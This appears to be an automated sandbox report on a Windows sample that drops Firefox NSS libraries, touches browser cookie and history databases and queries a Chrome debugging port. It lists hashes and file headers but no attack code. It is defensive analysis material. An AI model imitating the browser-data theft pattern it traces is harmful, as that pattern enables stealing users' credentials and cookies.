SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCAFIIDHIDGHIECGDGIDHCGCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: kj5la5X8gv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NGy4YdKSwE.exe, Detection: malicious, Browse Filename: NlpWS1Iq5Z.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5BQwrSLxIZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.371689824295992
Encrypted:	false
SSDEEP:	48:SfNaoQJTEQDfNaoQQQsfNaoQ1QUfNaoQP0B0UrU0U8QPA:6NnQJTEQ7NnQQQYNnQ1QANnQK0UrU0Ug
MD5:	60D7DC0334196168DCC927C4C301B008
SHA1:	BE9486F209001A50E7D3C3815E621B63AA868CBD
SHA-256:	CFFA5A6E4BCFE1600D57954AF7EC7A6D8855EF9183624327DF8C0E051348F87B
SHA-512:	64E30CC67171F61FD2770095A835B3768AC0F252AABE994EB490F949281029ED978C3E5FED58A461B5189E2285F75A5F8D857A814E9C61F2420079A4BB2B91F7
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6B256C782D535BBAE03B00FB257E2954",.. "id": "6B256C782D535BBAE03B00FB257E2954",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6B256C782D535BBAE03B00FB257E2954"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/451CA03BBF0F0880ABBEE10D10DB8EDD",.. "id": "451CA03BBF0F0880ABBEE10D10DB8EDD",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/451CA03BBF0F0880ABBEE10D10DB8EDD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4738)
Category:	downloaded
Size (bytes):	4743
Entropy (8bit):	5.821498221839944
Encrypted:	false
SSDEEP:	96:6t1nXU/lirRIiHYHhbbskNMJTWQ9GDFd66666bhvXtBat06FfQffX:6tYtHNb2dv9wFd66666bhv9BQw
MD5:	C057B634182C22885ADA5B605A05AC1D
SHA1:	56CFCAC7AA72974D9E10C07C797E079B5DA97808
SHA-256:	16B5025629BAB62B639F88EEE7C21791427C7376EFA5C0EFAD39559FBACE7CD2
SHA-512:	F70D7E87FAFF76658034C624F59479C401C57355AA7D4B30F37234B1741FBB0C82B4765915DF1B0350B98CEDFC97876D60E5543A5421A4BFCCC963CD718B1E04
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
